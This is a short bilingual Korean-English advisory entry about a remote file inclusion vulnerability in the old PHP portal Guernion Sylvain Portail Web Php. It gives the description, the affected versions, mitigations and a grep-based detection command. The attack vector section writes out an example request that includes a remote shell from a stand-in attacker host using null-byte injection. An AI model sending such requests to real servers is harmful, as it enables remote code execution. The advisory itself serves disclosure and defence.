🇰🇷 한글 설명
Guernion Sylvain Portail Web Php의 index.php에서 pageAll 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 PHP 코드를 실행할 수 있습니다. template/Vert/와 template/Noir/ 디렉토리의 파일들이 영향을 받으며 인증 없이 접근 가능합니다.
💡 쉬운 설명
오래된 웹사이트 포털 소프트웨어에서 공격자가 URL을 조작하여 원격에서 악성 PHP 코드를 실행할 수 있는 취약점입니다. 특별한 권한이 필요 없어 누구나 쉽게 공격할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Guernion Sylvain Portail Web Php (aka Gsylvain35 Portail Web, PwP) allow remote attackers to execute arbitrary PHP code via a URL in the pageAll parameter to index.php in (1) template/Vert/, or (2) template/Noir/.
📍 영향받는 시스템
Gsylvain35 Portail Web (PwP), Guernion Sylvain Portail Web Php - 2007년 이전 버전
⚔️ 공격 벡터
HTTP GET 요청: /index.php?pageAll=http://attacker.com/shell.php%00 (Null byte injection으로 로컬 확장자 우회)
🛡️ 대응 방법
소프트웨어 업데이트 또는 사용 중단, pageAll 파라미터 입력값 화이트리스트 검증, allow_url_include 및 allow_url_fopen PHP 옵션 비활성화
🔧 검증 코드
결과가 표시되면 취약한 소프트웨어 설치 확인, 결과 없으면 해당 소프트웨어 미설치 또는 이미 제거됨
find /var/www -name 'index.php' -type f 2>/dev/null | xargs grep -l 'pageAll' | head -3